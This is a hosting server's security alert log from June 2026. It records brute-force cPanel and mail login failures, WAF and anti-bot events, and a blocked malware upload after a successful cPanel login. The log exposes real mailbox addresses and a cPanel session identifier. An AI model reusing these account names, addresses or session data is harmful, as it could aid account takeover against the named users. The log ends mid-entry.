# incident

plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.55.136.21
country_id: 3686110
description:
[2026-06-17 11:50:14 +0000] info [cpaneld] 181.55.136.21 - ese "GET /login/?login_only=1&user=ese&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ese (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.120.23.205
country_id: 3469034
description:
[2026-06-17 11:50:17 +0000] info [cpaneld] 187.120.23.205 - es "GET /login/?login_only=1&user=es&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user es (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.191.148.255
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/537019075 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.40.90.87
country_id: 286963
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/763862104 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.76.181.223
country_id: 2542007
description:
[2026-06-17 11:50:03 +0000] info [cpaneld] 105.76.181.223 - ese2i "GET /login/?login_only=1&user=ese2i&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ese2i (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.136.224.80
country_id: 6252001
description:
2026-06-17 11:52:11 dovecot_plain authenticator failed for H=c-76-136-224-80.hsd1.il.comcast.net (ijzu5ym21cybf9fjd9ospnkkk1zj) [76.136.224.80]:35935: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:11:51:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9948307&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781697093 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:11:51:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9726564&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781697095 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.64.85
country_id: 1831722
description:
[2026-06-17 11:52:30 +0000] info [cpaneld] 157.85.64.85 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.6.144
country_id: 690791
description:
Jun 17 11:52:41 ns5 auth[1130641]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.6.144 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:11:54:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:11:54:20 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:11:54:16 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:11:54:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:11:55:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973541&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781697304 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:11:55:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7038616&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781697301 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.57.50.250
country_id: 2077456
description:
203.57.50.250 - - [17/Jun/2026:11:55:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13157273&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781697305 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.57.50.250


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 9.154.231.6
country_id: 1643084
description:
[2026-06-17 11:55:57 +0000] info [cpaneld] 9.154.231.6 - Turbolte "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Turbolte (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 101.100.179.4
country_id: 1880251
description:
101.100.179.4 - - [17/Jun/2026:11:56:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131358&pdata=https%253A%252F%252Fwww.fomda.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781697384 HTTP/2.0" 302 0 www.fomda.tg "https://www.fomda.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:101.100.179.4


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.19.132.11
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/02/Consommation.jpeg 512w, http:/togodailynews.tg/wp-content/uploads/2021/02/Consommation-300x200.jpeg 300w, http:/togodailynews.tg/wp-content/uploads/2021/02/Consommation-510x341.jpeg 510w, http:/togodailynews.tg/wp-content/uploads/2021/02/Consommation-272x182.jpeg 272w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.149.93
country_id: 99237
description:
2026-06-17 11:58:15 dovecot_plain authenticator failed for H=(expleutlee) [65.20.149.93]:35094: 535 Incorrect authentication data (set_id=admin@zephyr.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.238.50.116
country_id: 6252001
domain: togomedia24.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.18||T:APACHE||RA:104.238.50.116||TA:104.238.50.116||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 210.245.94.97
country_id: 1562822
description:
2026-06-17 11:58:23 H=([210.245.94.97]) [210.245.94.97]:61497 F=<quickbooks@notification.intuit.com> rejected RCPT <accounting@caissederetraites.tg>: No Such User Here"


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.149.93
country_id: 99237
description:
Jun 17 11:58:13 ns5 auth[1130641]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.149.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.66.196.11
country_id: 2661886
description:
Jun 17 12:00:55 ns5 auth[1130641]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.66.196.11 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 203.144.81.36
country_id: 1831722
description:
[2026-06-17 12:01:03 +0000] info [cpaneld] 203.144.81.36 NEW pjwfvzan:SvUnqCld8mGfpp0P address=203.144.81.36,app=cpaneld,creator=pjwfvzan,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.104.166.110
country_id: 1835841
description:
Jun 17 12:02:15 ns5 auth[1130641]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.104.166.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.104.166.110
country_id: 1835841
description:
2026-06-17 12:02:17 dovecot_login authenticator failed for H=([58.222.86.210]) [211.104.166.110]:50839: 535 Incorrect authentication data (set_id=it@cameg-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.4.3.149
country_id: 3895114
description:
45.4.3.149 - - [17/Jun/2026:12:03:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986339&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcierea-ptci%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781697794 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cierea-ptci/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2673.1440 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.4.3.149


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.156.251.79
country_id: 2802361
domain: flp-tg.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.18||T:APACHE||REQUEST_URI:/web/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.134.69.112
country_id: 3923057
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/cache/autoptimize/css/autoptimize_single_1ae2b2895a8976da80c9a1afa6a98e23.css?ver=1.7.12 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:12:06:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6735764&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781697967 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:12:06:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12873106&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781697969 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.204.83.210
country_id: 163843
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/05/IMG_20220520_094841Z-1024x768.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2022/05/IMG_20220520_094841Z-300x225.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2022/05/IMG_20220520_094841Z-768x576.jpg 768w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.252.42
country_id: 102358
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/themes/magxpress/assets/js/vanilla-marquee.min.js?ver=1.0.0 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.252.122
country_id: 102358
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/cache/autoptimize/js/autoptimize_single_eb6fb23e69f0912ef63a6fff5ea34cbb.js?ver=2.4 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.52.253
country_id: 690791
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/plugins/google-analytics-for-wordpress/assets/js/frontend-gtag.min.js?ver=10.2.2 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.92.1.96
country_id: 2658434
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.92.26.105
country_id: 3077311
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/css/dashicons.min.css?ver=6.9.4 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.56.192.54
country_id: 99237
description:
185.56.192.54 - - [17/Jun/2026:12:08:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9858154&pdata=https%253A%252F%252Feducplusmedia.tg%252F2025%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781698100 HTTP/2.0" 302 0 educplusmedia.tg "https://educplusmedia.tg/2025/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.7302.1673 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.56.192.54


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.249.63
country_id: 798549
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/plugins/wp-cloudflare-page-cache/assets/js/lazysizes.min.js?ver=5.3.2 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.132.207
country_id: 453733
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/js/jquery/jquery.min.js?ver=3.7.1 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.128.170
country_id: 690791
description:
Jun 17 12:10:15 ns5 auth[1130641]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.128.170 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:12:09:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [17/Jun/2026:12:09:51 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:12:09:53 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:12:09:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6070
name: Attempt to upload malware through cPanel file manager
description:
Jun 17 12:11:10 ns5.netmaster.tg cpanel_fileman_hook[1911190]: 0 BAILOUT malware detected when save 'index.html' in /home/pjwfvzan/public_html/equipe for user pjwfvzan


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.57.50.250
country_id: 2077456
description:
203.57.50.250 - - [17/Jun/2026:12:10:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7313257&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781698233 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.57.50.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:12:10:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9989271&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781698224 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:12:10:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10002324&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781698228 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.92.90
country_id: 1512440
description:
2026-06-17 12:12:31 H=([213.230.92.90]) [213.230.92.90]:24782 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 86.1.202.117
country_id: 2635167
description:
86.1.202.117 - - [17/Jun/2026:12:13:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13092200&pdata=https%253A%252F%252Fcpanel.api.free.netmaster.tg%252F%253Flocale%253Dro&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781698398 HTTP/2.0" 302 0 cpanel.api.free.netmaster.tg "https://cpanel.api.free.netmaster.tg/?locale=ro" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:86.1.202.117


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 90.3.233.168
country_id: 3017382
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/wp-content/uploads/2018/03/Discours-du-chef-de-lEtat-Faure-Gnassingb\xc3\xa9.-Somment-de-lancement-de-lAlliance-Solaire-Internationale.pdf HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.0.0.248
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2020/05/Titre-foncier.jpg 274w, http:/togodailynews.tg/wp-content/uploads/2020/05/Titre-foncier-272x162.jpg 272w HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.28.234.77
country_id: 6252001
description:
Jun 17 12:17:15 ns5 auth[1130641]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.28.234.77 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.234.77
country_id: 6252001
description:
2026-06-17 12:17:17 dovecot_plain authenticator failed for H=(rzqiquzl1pqq3ma6wmkvqag7mvtmat) [104.28.234.77]:27078: 535 Incorrect authentication data (set_id=david.ayivi@mesyscom.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.57.221
country_id: 2363686
description:
2026-06-17 12:17:54 dovecot_login authenticator failed for H=([127.0.0.1]) [196.170.57.221]:42520: 535 Incorrect authentication data (set_id=documentation@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.7.207
country_id: 2363686
description:
2026-06-17 12:18:24 dovecot_login authenticator failed for H=(SHESAME) [196.171.7.207]:56472: 535 Incorrect authentication data (set_id=cndhtogo@cndh-togo.org)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.152
country_id: 1880251
description:
47.128.96.152 - - [17/Jun/2026:12:18:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869669&pdata=https%253A%252F%252Ftdn.tg%252Fasky-recrute-revenue-accountant-sales-refund-audit%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781698704 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/asky-recrute-revenue-accountant-sales-refund-audit/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.152


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.171.7.207
country_id: 2363686
description:
2026-06-17 12:18:47 dovecot_login authenticator failed for H=(SHESAME) [196.171.7.207]:52097: 535 Incorrect authentication data (set_id=cndhtogo@cndh-togo.org)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.73.63.192
country_id: 6252001
description:
